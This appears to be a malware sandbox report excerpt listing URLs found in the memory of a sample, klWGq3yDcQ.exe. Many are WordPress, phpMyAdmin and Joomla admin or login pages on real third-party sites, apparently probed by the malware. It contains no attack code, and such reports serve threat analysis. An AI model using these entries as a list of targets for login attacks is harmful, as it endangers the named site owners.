Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-json/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-login.phpen)
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/xmlrpc.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/xmlrpc.php?rsd
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiswheels.com/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiswheels.com/wp-login.phpor/m=
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://townshipnjr.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2866921685.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 00000004.00000002.3484645530.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://trac.torproject.org/projects/tor/ticket/14917.
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/about-us-2/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/cart/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/comments/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/contact-us/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/my-account/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/beauty-hair-care/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/beauty-hair-care/beard-oil/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/beauty-hair-care/body-wash-shower-gel/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/beauty-hair-care/fragrance/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/beauty-hair-care/hair-gel/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/beauty-hair-care/serums/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/beauty-hair-care/shampoo-conditioner/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/beauty-hair-care/shaving-creame/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/garden-outdoor/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/kitchen-home/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/party-supplies/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/pets-grooming/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/product-category/toys-games/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/shop/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wishlist/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/wc-blocks-
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/plugins/wpforms-lite/assets/css/wpforms-full.min.css?ver=1.7.4.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/plugins/wysija-newsletters/css/validationEngine.jquery.css?ver=2
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/plugins/yith-woocommerce-ajax-navigation/assets/css/shortcodes.c
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/plugins/yith-woocommerce-wishlist/assets/css/jquery.selectBox.cs
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/plugins/yith-woocommerce-wishlist/assets/css/style.css?ver=3.9.0
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/themes/porto/images/ajax-loader
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/uploads/2022/06/websit-logo-footer-1024x365.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/uploads/2022/06/websit-logo-footer-400x143.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/uploads/2022/06/websit-logo-footer-600x214.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/uploads/2022/06/websit-logo-footer-640x228.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/uploads/2022/06/websit-logo-footer-768x274.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/uploads/2022/06/websit-logo-footer.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-content/uploads/2022/06/z1.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-includes/css/dist/block-library/style.min.css?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tradeavenida.com/xmlrpc.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/AvientCorp
Source: klWGq3yDcQ.exe, 00000001.00000002.2887588320.0000000004405000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://united-domains.de/unternehmen/datenschutz/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uploads-ssl.webflow.com/645b9de16fdfa3008037d227/645bd2cf9ed03860fa260365_icon-rounded-arrow
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000038B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webstamp.ca
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004389000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wonka.cc/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wonka.cc/phpmyadmin/Dw
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wonka.cc/phpmyadmin/ad
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wonka.cc/phpmyadmin/bw
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wordpress.org/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887588320.0000000004405000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.2brospw.com/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.2brospw.com/wp-login.phpd/administrator/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.above.com/marketplace/ondania.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.avient.com/administrator/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/_css_global/slick.min.css
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/_images_upload/_tn_b305a79b79183216.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/_javascript/beach2018.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/_javascript_global/jquery.gmap3.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/_javascript_global/slick.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/index.php/cms_categorie/94677/bb/1/id/94677
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/index.php/cms_categorie/94677/id/94677/bb/1/fm_parentid/94686
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/index.php/cms_categorie/94679/id/94679/bb/1/fm_parentid/94686
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/index.php/cms_categorie/94680/id/94680/bb/1/fm_parentid/94686
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/index.php/cms_categorie/94681/id/94681/bb/1/fm_parentid/94686
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/index.php/cms_categorie/94682/id/94682/bb/1/fm_parentid/94686
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/index.php/cms_categorie/95756/id/95756/bb/1/fm_parentid/94686
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/index.php/page/advsearchvacs/bb/1/command/startupresults/cms_catego
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.beachrecruitment.com/index.php/page/root_mailer_fl2/bb/1/command/mail
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.boldgrid.com/w3-total-cache/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bunasta.eu/administrator/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ceuandalucia.es/wp/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FC9000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887027217.00000000042A7000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/rpa-ua
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dstaq.com/en/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.enable-javascript.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: klWGq3yDcQ.exe, 00000001.00000002.2868964891.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/1
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/adsense/domains/caf.js?abp=1
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B40000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.000000000436A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-LV9BL7FLDY
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-117048573-1
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-182241991-1
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004034000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-TWN7C3P
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.grantstech.io/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885992508.00000000040B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.grg17geblergasse.at/comments/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884890826.0000000003E7A000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2885992508.00000000040B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.grg17geblergasse.at/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.harasduberry.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.harasduberry.com/administrator/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.hugedomains.com/domain_profile.cfm?d=robinsonland.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000414C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/ce_logic/?hl=en
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.kfps.nl/Portals/0/Hengsten
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.0000000004122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.kfps.nl/Portals/0/PDF
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000409A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.linkan-group.com/administrator
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.linkedin.com/company/avient-corporation/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.linkedin.com/company/beach-recruitment-&-career/?originalSubdomain=nl
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.linkedin.com/company/beach-recruitment-&-career/?originalSubdomain=nl
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/comments/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/user-access/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/user-access/access-modes/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/user-access/access-modes/bag-access/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/user-access/call-for-proposals/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/user-access/find-your-beamline/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/user-access/user-guide/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/user-access/user-guide/after-you-leave/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/user-access/user-guide/before-you-arrive/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/user-access/user-guide/proposal-submission/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/user-access/user-guide/proposal-submission/proposal-writing-guide/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/user-access/user-guide/while-at-maxiv/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-content/uploads/2022/02/menu-user-entry.jpg);
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-includes/css/dist/block-library/style.min.css?ver=6.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-includes/js/dist/a11y.min.js?ver=7032343a947cfccf5608
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-includes/js/dist/dom-ready.min.js?ver=392bdd43726760d1f3ca
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-includes/js/dist/hooks.min.js?ver=c6aec9a8d4e5a5d543a1
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-includes/js/dist/i18n.min.js?ver=7701b0c3857f914212ef
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-includes/js/dist/vendor/regenerator-runtime.min.js?ver=0.14.0
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-includes/js/jquery/ui/core.min.js?ver=1.13.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.maxiv.lu.se/wp-includes/js/jquery/ui/menu.min.js?ver=1.13.2
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rech.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rech.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rech.com/categoria/maquinas-equipamentos/discos-de-corte
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rech.com/categoria/maquinas-equipamentos/esteiras
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rech.com/categoria/maquinas-equipamentos/filtros
